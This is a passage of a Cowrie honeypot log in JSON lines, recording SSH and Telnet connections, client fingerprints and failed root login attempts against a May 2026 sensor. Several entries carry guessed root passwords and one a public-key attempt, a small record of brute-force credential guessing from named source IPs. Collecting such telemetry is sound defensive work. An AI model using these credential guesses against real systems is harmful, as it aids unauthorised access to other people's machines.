man-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:14.372039Z","src_ip":"102.210.148.92","session":"4a54143ec969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456..","message":"login attempt [root/Aa@123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:15.402475Z","src_ip":"102.210.148.92","session":"4a54143ec969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57908,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f3aae1db23","protocol":"telnet","message":"New connection: 152.42.224.71:57908 (10.17.0.5:23) [session: 82f3aae1db23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:15.638351Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:16.656181Z","src_ip":"102.210.148.92","session":"4a54143ec969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0032331943512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:24.133434Z","src_ip":"152.42.224.71","session":"f363a70c06d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00846552848816,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:33.920741Z","src_ip":"152.42.224.71","session":"5536758960d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.991037368774414,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:34.624986Z","src_ip":"152.42.224.71","session":"d2524cddef8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.932894468307495,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:35.975744Z","src_ip":"152.42.224.71","session":"cd7f3003ffd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53510,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e62d187609e","protocol":"ssh","message":"New connection: 103.153.68.219:53510 (10.17.0.5:22) [session: 2e62d187609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:38.252099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:38.256517Z","src_ip":"103.153.68.219","session":"2e62d187609e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:38.512108Z","src_ip":"103.153.68.219","session":"2e62d187609e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1234567","message":"login attempt [root/q1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:39.258034Z","src_ip":"103.153.68.219","session":"2e62d187609e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:40.510266Z","src_ip":"103.153.68.219","session":"2e62d187609e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33988,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7ab2d8dbe17","protocol":"ssh","message":"New connection: 89.223.69.22:33988 (10.17.0.5:22) [session: d7ab2d8dbe17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:53.417189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:53.421428Z","src_ip":"89.223.69.22","session":"d7ab2d8dbe17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:53.536007Z","src_ip":"89.223.69.22","session":"d7ab2d8dbe17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:53.881752Z","src_ip":"89.223.69.22","session":"d7ab2d8dbe17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:55.000453Z","src_ip":"89.223.69.22","session":"d7ab2d8dbe17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5838cd119ba","protocol":"telnet","message":"New connection: 152.42.224.71:34310 (10.17.0.5:23) [session: c5838cd119ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:33:59.181417Z"}
{"eventid":"cowrie.session.closed","duration":55.08142304420471,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:00.656269Z","src_ip":"152.42.224.71","session":"13356926b624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34326,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bce3cc0a937","protocol":"telnet","message":"New connection: 152.42.224.71:34326 (10.17.0.5:23) [session: 6bce3cc0a937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:05.184346Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56928,"dst_ip":"10.17.0.5","dst_port":23,"session":"24df35d0886c","protocol":"telnet","message":"New connection: 152.42.224.71:56928 (10.17.0.5:23) [session: 24df35d0886c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:06.901252Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56934,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b2dc4efe89","protocol":"telnet","message":"New connection: 152.42.224.71:56934 (10.17.0.5:23) [session: d0b2dc4efe89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:07.861937Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56922,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f26dc3c1c2","protocol":"telnet","message":"New connection: 152.42.224.71:56922 (10.17.0.5:23) [session: 51f26dc3c1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:07.898620Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55946,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4429fb2433","protocol":"ssh","message":"New connection: 51.250.105.222:55946 (10.17.0.5:22) [session: 6d4429fb2433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:08.974505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:08.978915Z","src_ip":"51.250.105.222","session":"6d4429fb2433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:09.103627Z","src_ip":"51.250.105.222","session":"6d4429fb2433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z","message":"login attempt [root/z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:09.480671Z","src_ip":"51.250.105.222","session":"6d4429fb2433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56938,"dst_ip":"10.17.0.5","dst_port":23,"session":"47694875cd26","protocol":"telnet","message":"New connection: 152.42.224.71:56938 (10.17.0.5:23) [session: 47694875cd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:10.010405Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:10.609255Z","src_ip":"51.250.105.222","session":"6d4429fb2433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.909953355789185,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:13.548196Z","src_ip":"152.42.224.71","session":"82f3aae1db23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56948,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c87d69461d","protocol":"telnet","message":"New connection: 152.42.224.71:56948 (10.17.0.5:23) [session: f9c87d69461d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:16.858459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16a1a414408","protocol":"telnet","message":"New connection: 152.42.224.71:41334 (10.17.0.5:23) [session: e16a1a414408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:19.299757Z"}
{"eventid":"cowrie.session.closed","duration":18.899564266204834,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:26.798065Z","src_ip":"152.42.224.71","session":"51f26dc3c1c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39702,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f8c2e4dd5a","protocol":"telnet","message":"New connection: 152.42.224.71:39702 (10.17.0.5:23) [session: a3f8c2e4dd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:30.571590Z"}
{"eventid":"cowrie.session.closed","duration":34.34285759925842,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:33.524177Z","src_ip":"152.42.224.71","session":"c5838cd119ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac12453a0c0","protocol":"telnet","message":"New connection: 152.42.224.71:39706 (10.17.0.5:23) [session: 1ac12453a0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:34.274935Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39714,"dst_ip":"10.17.0.5","dst_port":23,"session":"028fc255cb6b","protocol":"telnet","message":"New connection: 152.42.224.71:39714 (10.17.0.5:23) [session: 028fc255cb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:35.373927Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52658,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5d7ce4df86","protocol":"telnet","message":"New connection: 152.42.224.71:52658 (10.17.0.5:23) [session: 4e5d7ce4df86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:40.309474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"621c8216ad67","protocol":"telnet","message":"New connection: 152.42.224.71:52666 (10.17.0.5:23) [session: 621c8216ad67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:41.319507Z"}
{"eventid":"cowrie.session.closed","duration":33.209925413131714,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:43.220203Z","src_ip":"152.42.224.71","session":"47694875cd26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79276657104492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:44.654577Z","src_ip":"152.42.224.71","session":"d0b2dc4efe89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":36180,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d48cd5f749b","protocol":"telnet","message":"New connection: 213.108.3.46:36180 (159.203.135.109:23) [session: 6d48cd5f749b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:48.972106Z"}
{"eventid":"cowrie.session.closed","duration":0.017839431762695312,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:48.989810Z","src_ip":"213.108.3.46","session":"6d48cd5f749b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.69172525405884,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:49.592858Z","src_ip":"152.42.224.71","session":"24df35d0886c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40346,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e0d3541dcb7","protocol":"telnet","message":"New connection: 152.42.224.71:40346 (10.17.0.5:23) [session: 9e0d3541dcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:50.600465Z"}
{"eventid":"cowrie.session.closed","duration":35.4829535484314,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:52.341292Z","src_ip":"152.42.224.71","session":"f9c87d69461d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.204","src_port":22172,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ec93204ab4","protocol":"telnet","message":"New connection: 66.132.186.204:22172 (159.203.135.109:23) [session: c8ec93204ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:54.867900Z"}
{"eventid":"cowrie.session.closed","duration":120.0017557144165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:34:57.307760Z","src_ip":"152.42.224.71","session":"0b8a2007d0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.73375844955444,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:04.917976Z","src_ip":"152.42.224.71","session":"6bce3cc0a937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.120.94.133","src_port":57106,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4c8477a1218","protocol":"ssh","message":"New connection: 64.120.94.133:57106 (10.17.0.5:22) [session: f4c8477a1218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:05.989951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:05.999085Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:06.236596Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:77:f1:db:1c:80:f8:38:c6:b9:7f:04:ce:2d:aa:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvEADGdpVruutjBvESo7bAjjoDeVblC7Dp+Sfedn9efKnPwHtjRj0OvLUyhETrtUHzK7VjVCL6tAt/a1tDV7s8FbHfTrR75sQYQPOUSTjSKiK0QKl8RK99zHb+u/U6kG6vj3B4phDevpVR2PPF1z+fKtrgKV49o59kQHM4uYZQBoQ6UCvSIWhq17ibYSfDTJaFyaRp3Lqm1g72GdTi3EsK5uScRcBWwyR6s5kcK+uOIZMLbm0wEMjqpX6Y7J61vpmNKQ1YGS5wJpVsuaO1KsnJVAncvgkRQk7ctWo1LESodpjHGm6fHKPZSqtfXMTNYiW+qnZ5QGNieqISQQaS02WB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:77:f1:db:1c:80:f8:38:c6:b9:7f:04:ce:2d:aa:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.401772Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:77:f1:db:1c:80:f8:38:c6:b9:7f:04:ce:2d:aa:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvEADGdpVruutjBvESo7bAjjoDeVblC7Dp+Sfedn9efKnPwHtjRj0OvLUyhETrtUHzK7VjVCL6tAt/a1tDV7s8FbHfTrR75sQYQPOUSTjSKiK0QKl8RK99zHb+u/U6kG6vj3B4phDevpVR2PPF1z+fKtrgKV49o59kQHM4uYZQBoQ6UCvSIWhq17ibYSfDTJaFyaRp3Lqm1g72GdTi3EsK5uScRcBWwyR6s5kcK+uOIZMLbm0wEMjqpX6Y7J61vpmNKQ1YGS5wJpVsuaO1KsnJVAncvgkRQk7ctWo1LESodpjHGm6fHKPZSqtfXMTNYiW+qnZ5QGNieqISQQaS02WB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.406243Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
